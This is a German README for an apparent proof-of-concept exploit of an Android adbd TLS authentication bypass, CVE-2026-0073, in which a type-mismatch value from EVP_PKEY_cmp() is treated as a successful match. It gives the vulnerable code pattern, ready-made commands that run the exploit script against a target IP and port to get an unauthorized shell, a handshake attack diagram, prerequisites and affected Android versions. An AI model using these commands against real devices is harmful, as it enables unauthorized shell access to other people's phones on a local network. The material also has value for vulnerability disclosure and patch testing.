CVE-2026-0073 — Android ADBD TLS-Auth-Bypass

`EVP_PKEY_cmp()`-Typverwechslung → unbefugte ADB-Shell

🔥 Überblick

Eine kritische Authentifizierungsumgehung im ADB-Daemon von Android (adbd) ermöglicht es jedem Angreifer im lokalen Netzwerk, eine vollständige Shell auf einem Zielgerät ohne Benutzerautorisierung zu erlangen.

Die Schwachstelle befindet sich in adbd_tls_verify_cert() innerhalb von daemon/auth.cpp, wo EVP_PKEY_cmp() als boolescher Wert verwendet wird. Wenn der gespeicherte Schlüssel RSA ist und das vorgelegte TLS-Clientzertifikat einen Nicht-RSA-Schlüssel (EC P-256 oder Ed25519) enthält, gibt EVP_PKEY_cmp() -1 zurück (Typkonflikt), was in C/C++ als wahr gilt, sodass authorized = true gesetzt wird.

// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← BUG: -1 is truthy!
    authorized = true;
}

`EVP_PKEY_cmp()` Rückgabewert	Bedeutung	Wahrheitswert in C?	Ergebnis
`1`	Schlüssel stimmen überein	✅	Autorisiert (korrekt)
`0`	Schlüssel unterscheiden sich	❌	Abgelehnt (korrekt)
`-1`	Typkonflikt	✅	Autorisiert (BUG)

⚡ Schnellstart

Abhängigkeiten installieren

pip install cryptography

Den Exploit ausführen

# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

Einen bestimmten Schlüsseltyp erzwingen

python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

Standardmäßig versucht das Skript automatisch EC P-256 → Ed25519 → EC/TLS 1.2, bis eine Variante erfolgreich ist.

🎯 Exploit-Ablauf

   Attacker                          Target (adbd)
      │                                    │
      │──── TCP connect ──────────────────►│
      │──── CNXN (cleartext) ────────────►│
      │◄─── STLS (TLS upgrade request) ──│
      │──── STLS reply ──────────────────►│
      │                                    │
      │════ TLS 1.3 Handshake ════════════│
      │  (EC P-256 client cert presented)  │
      │  EVP_PKEY_cmp(EC, RSA) → -1       │
      │  -1 is truthy → authorized=true   │
      │════════════════════════════════════│
      │                                    │
      │◄─── CNXN (device info) ──────────│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (shell I/O) ──────►│
      │                                    │
    [FULL SHELL ACCESS]                    │

📋 Voraussetzungen

Anforderung	Details
Entwickleroptionen	Auf dem Zielgerät aktiviert
Drahtloses Debugging	Aktiviert (oder ADB über TCP auf Port 5555)
Gespeicherter RSA-Schlüssel	Das Gerät muss mindestens einmal per USB gekoppelt worden sein (`/data/misc/adb/adb_keys`)
Netzwerkzugriff	Der Angreifer muss den adbd-TCP-Port erreichen können

⚠️ Wichtig: Der RSA-Schlüssel muss sich in /data/misc/adb/adb_keys befinden, das über USB-Debugging-Kopplung befüllt wird (durch Akzeptieren des Dialogs „USB-Debugging zulassen?"). Die Kopplung über drahtloses Debugging (adb pair) speichert Schlüssel an einem anderen Ort (adb_known_hosts.pb) und erfüllt diese Anforderung NICHT.

🛡️ Betroffene Versionen

Android 14 (AOSP) — ✅ Bestätigt anfällig
Android 15 (AOSP) — Wahrscheinlich anfällig (ungepatchte Builds)
Herstellerspezifische Builds können abweichen (Samsung One UI, Pixel usw.)

So prüfen Sie den Patch-Stand

adb shell getprop ro.build.version.security_patch

🧪 Testumgebung

Getestet und bestätigt funktionsfähig auf:

Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)

🔧 Verbesserungen gegenüber dem Original

Dieser Fork enthält mehrere Erweiterungen:

✅ Multi-Key-Fallback — Probiert automatisch EC P-256 → Ed25519 → EC/TLS 1.2
✅ Ed25519-Unterstützung — Alternativer Schlüsseltyp für breitere Kompatibilität
✅ TLS 1.2-Fallback — Anderer Client-Zertifikat-Ablauf (während des Handshakes gesendet statt nach dem Handshake)
✅ Erweitertes Zertifikat — Korrekte X.509-Erweiterungen (BasicConstraints, KeyUsage)
✅ Windows-kompatibel — Verwendet Threaded-I/O statt select() für plattformübergreifende Unterstützung
✅ Erhöhte Timeouts — Bessere Zuverlässigkeit in langsameren Netzwerken
✅ Ausführliche Diagnose — Detaillierte Protokollverfolgung mit dem -v-Flag

📁 Projektstruktur

CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py    # Main exploit script
└── README.md                 # This file

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Holen Sie vor dem Testen stets eine ordnungsgemäße Genehmigung ein. Der Autor übernimmt keine Haftung für den Missbrauch dieser Software.

📚 Referenzen

Wenn dies Ihrer Forschung geholfen hat, hinterlassen Sie einen ⭐

Beliebteste

CVE-2026-0073-Android-ADBD-bypass-POC